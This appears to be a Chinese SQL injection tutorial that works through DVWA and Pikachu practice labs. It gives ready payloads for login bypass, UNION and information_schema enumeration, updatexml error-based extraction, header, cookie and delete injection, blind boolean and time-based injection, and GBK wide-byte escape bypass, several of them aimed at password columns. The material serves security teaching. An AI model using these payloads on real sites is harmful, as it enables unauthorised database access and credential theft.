注入攻击原理:
注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据提交给Web程序,以发号施令,为所欲为(注:注入最终是数据库,与脚本、平台无关)。
总之一句话:注入产生的原因是接受相关参数未经处理直接带入数据库查询操作
各种数据库的注释:
Oracle
REM单行注释-- 单行注释/*多行注释*/
MS SQL Server-- 单行注释/*多行注释*/
MySQL#单行注释-- 单行注释(特别注意,-- 后有个空格!!!)/*多行注释*/
总结:/*多行注释*/ 和-- 单行注释都差不多,MySQL要注意。非标准的#和REM最好还是不要用了为了兼容-- 后面最好都加空格MySQL注释的说明------------------------------------------------------------
‘--’作为注释起始标记一些其他SQL数据库采用“--”作为注释开始标志。MySQL服务器采用“#”作为注释起始字符。对于MySQL服务器,也能使用C风格的注释:/*该处为注释*/。请参见9.5节,“注释语法”。MySQL服务器3.23.3和更高版本支持“--”注释风格,但要求注释后面跟1空格(或控制字符,如新行)。之所以要求使用空格,是为了防止与自动生成SQL查询有关的问题,它采用了类似下面的代码,其中,自动为“!payment!”插入“payment”的值:UPDATE account SET credit=credit-!payment!
考虑一下,如果“payment”的值为负数如“-1”时会出现什么情况:
UPDATE account SET credit=credit--1在SQL中“credit--1”是合法的表达式,但是,如果“--1”被解释为注释开始,部分表达式将被舍弃。其结果是,表达式的意义与预期的意义完全不同。UPDATE account SET credit=credit
该语句不会对值作任何更改!这表明,允许注释以“--”开始会产生严重后果。采用MySQL服务器3.23.3和更高版本中的这类注释方法,“credit--1”实际上很安全。另一个安全特性是,mysql命令行客户端将删除所有以“--”开头的行。仅当使用高于3.23.3的MySQL时,下述信息才有意义:
如果有1个文本文件形式的SQL程序,该文件包含“--”注释,应按下述方式使用replace实用工具,将其转换为使用“#”字符的注释:shell> replace " --" " #" < text-file-with-funny-comments.sql \
| mysql db_name
而不是通常的:shell> mysql db_name < text-file-with-funny-comments.sql
你也可以编辑注释文件,将“--”注释更改为“#”注释:shell> replace " --" " #" -- text-file-with-funny-comments.sql使用下述命令将其改回去:shell> replace " #" " --" -- text-file-with-funny-comments.sql
OR漏洞原理:
正常登录的SQL语句:
select * from Admin where name='yuan' and passWord='123'
输入注入数据:
即用户名为:用户名:'or 1=1--,密码可随便输入
输入恶意代码的SQL语句:
SELECT * FROM admin WHERE Name=''or 1=1--'and Password='mima'
手工检测SQL注入方法:
1.“单引号”法
第一种检测SQL注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。
2. 1=1和1=2法
很多时候检测提交包含引号的链接时,会提示非法字符,或者直接不返回任何信息,但这并不等于不存在SQL注入漏洞。此时可使用经典的“1=1和1=2”法进行检测。方法很简单,就是直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。
注入的分类:
数字型注入
数字型注入使用 or 1=1 可以测试
正常的SQL语句:
select username,email from member where id=1;
输入测试代码后的SQL语句:
select username,email from member where id=1 or 1=1;
字符型注入
正常的SQL语句:
select id,email from member where username='vince';
输入数字型注入测试代码:
select id,email from member where username='vince or 1=1';
输入字符型测试代码:
select id,email from member where username='vince' or 1=1#';
我们发现这个语句存在问题,发现这个语句的vince or 1=1是直接被认作字符串,我们在vince后面添加单引号来闭合vince,再在1=1后面添加注释#来消除掉后面的单引号,这样来完成一个SQL语句的拼接合法性。完整的语句为select id,email from member where username='vince‘ or 1=1#';
搜索型注入
正常的SQL语句:
select * from member where username like '%vince%' or 1=1;
输入搜索型测试代码:
select * from member where username like '%xxxx%'or 1=1 #%'
XX型注入
XX型是由于SQL语句拼接方式不同,注入语句如下:
select * from member where username=('xx') or 1=1;
注入提交方式:
get提交
一般直接通过浏览器地址栏提交,如下图:
post提交
可通过安装火狐浏览器插件(hackbar)或Burp工具来完成,如下图:
cookie提交
一般通Burp工具来完成,如下图:
注入攻击类型与方式:
主要有:union注入、insert/update注入、delete注入、http header注入、盲注(base on boolian)、盲注(base on time)、函数报错、宽字节注入、二次注入、偏移注入等
1. union注入:
注:union操作符一般与order by语句配合使用
因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。
看下DVWASQL注入这里
利用1' or 1=1 -- 判断出存在注入漏洞
再利用order by 排序判断出主查询字段 (因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。)
先输入 1' order by 5 -- 判断一下是否大于5
翻译过来是这样的
这样的话就是小于5 再换一个小点的数字试一下 换成3试了一下 还是报上面的错误 这里我就不截图了 换成了2 就返回正确页面
这时候就用到主角了 union联合查询
输入构造好的语句
1' union select user(),version() --
可以看到user()代表用户 version()代表数据库版本 database()代表数据库 由于一次只能查询两个数据库那个我就没查询
2. information_schema注入
information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。
通过上一步查询出了数据库的名字 这一步开始通过information_schema 数据库查询出所有的表名
1' union select table_schema,table_name from information_schema.tables where table_schema='dvwa' --
表明是guestbook users
再获取字段名
2' union select table_name,column_name from information_schema.columns where table_name='users' --
最后再获取字段的内容
2' union select user,password from users --
到此就完成了
3.基于函数报错注入
3.1 技巧思路
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息.
3.2 背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.
3.3 基于报错的信息获取(三个常用的用来报错的函数)
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor():MYSQL中用来取整的函数.
3.4 基于报错的信息获取
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
实战爆数据库版本信息
在皮卡丘搜索型注入页面 输入 admin' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) # 这串代码搜索 肯定会报错 因为搜索型需要%' 进行闭合
爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
爆表
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
更改limit后面的数字limit 0完成表名遍历。
爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
加粗数字2 0---XX查询出所有的
爆字段内容
k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
4.insert update delete 注入
insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
爆表名:
admin3k'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
和前面一样修改这个数字爆出所有的表明
爆列名:
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
爆内容:
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or'等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
update与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。
一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过Burp抓包在用户名输入相关payload,格式如下:
' or updatexml(0,concat(0x7e,(database())),0) or'
实现环境 皮卡丘
来到个人中心 更新数据 抓包
直接把payload插入到sex add等等参数值后面都可以
delect注入一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
测试只需要输入 or开始后面的内容就可以了
这个拿burpsuite不知道为什么不好使 直接复制删除连接 用浏览器拼接起来就可以了
5.HTTP header注入
登录后可以看到 user agent 的信息也被保存到了数据库里面
直接将原来的user agent信息删除 更换成payload
' or updatexml(1,concat(0x7e,database ()),0) or '
6. cookie注入
Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。
很明显 用户名和密码是通过cookie带入到数据库的
payload
'and updatexml (1,concat(0x7e,database()),0)#
这个也可以用之前的那个payload 只要能爆出自己想要的信息 用什么测试代码都可以
7.布尔型盲注
在我们的注入语句被带入数据库查询但却什么都没有返回的情况我们该怎么办?例如应用程序就会返回一个“通用的”的页面,或者重定向一个通用页面(可能为网站首页)。这时,我们之前学习的SQL注入办法就无法使用了。
盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。
SQL盲注分为三大类:基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注
看看代码 错误的话不打印到错误
采用sql语句中and的方法,返回正确或错误来构造,按照之前的思路构造一个SQL拼接:vince' and extractvalue(0,concat(0x7e,version()))# 输入后根据返回的信息判断之前的思路不再适用。
输入语句select ascii(substr(database(),1,1))>xx;通过对比ascii码的长度,判断出数据库表名的第一个字符。
注:substr()函数
substr(string,start,length)
string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。
按照之前逻辑,输入sql语句:vince' and ascii(substr(database(),1,1))=112#,通过这个方法,就能得到后台数据库的名称的第一个字符的ascii码。同之前的办法,我们也可以获得information_schema.tables里的数据。但在实际操作中通常不会使用手动盲注的办法,可以使用sqlmap等工具来增加盲注的效率。
成功的话直接正常显示查询的数据
8. base on time(时间型)盲注
可以通过后端的执行时间来进行注入。这里会用到的payload: vince' and sleep(x)#
基于时间的延迟,构造一个拼接语句:
vince' and if(substr(database(),1,1)='X' (猜测点)',sleep(10),null#
输入后,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。输入:
vince' and if(substr(database(),1,1)='p',sleep(10),null)#
再web控制台下,判断出database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。
9. 宽字节注入
当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。
其中\的URL编码是 %5C ,当我们在单引号前面加上%df的时候,最终就会变成運',如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
' =======>\'单引号转义后占两个字节,所以我们需要通过繁体字%df构造两个字节,最终用運干掉了\,也就是说被運占领了\ 所以最后在页面也不会显示出来.
小提示: 数字和字母占一个字节,汉字占两个字节。
哪些地方没有魔术引号的保护?
(1) $_SERVER 变量
PHP5的$_SERVER变量缺少magic_quotes_gqc的保护,导致近年来X-Forwarded-For的漏洞猛爆,所以很多程序员考虑过滤X-Forwarded-For,但是其它的变量呢?
(2)getenv()得到的变量(使用类似$_SERVER 变量)
(3)$HTTP_RAW_POST_DATA与PHP输入、输出流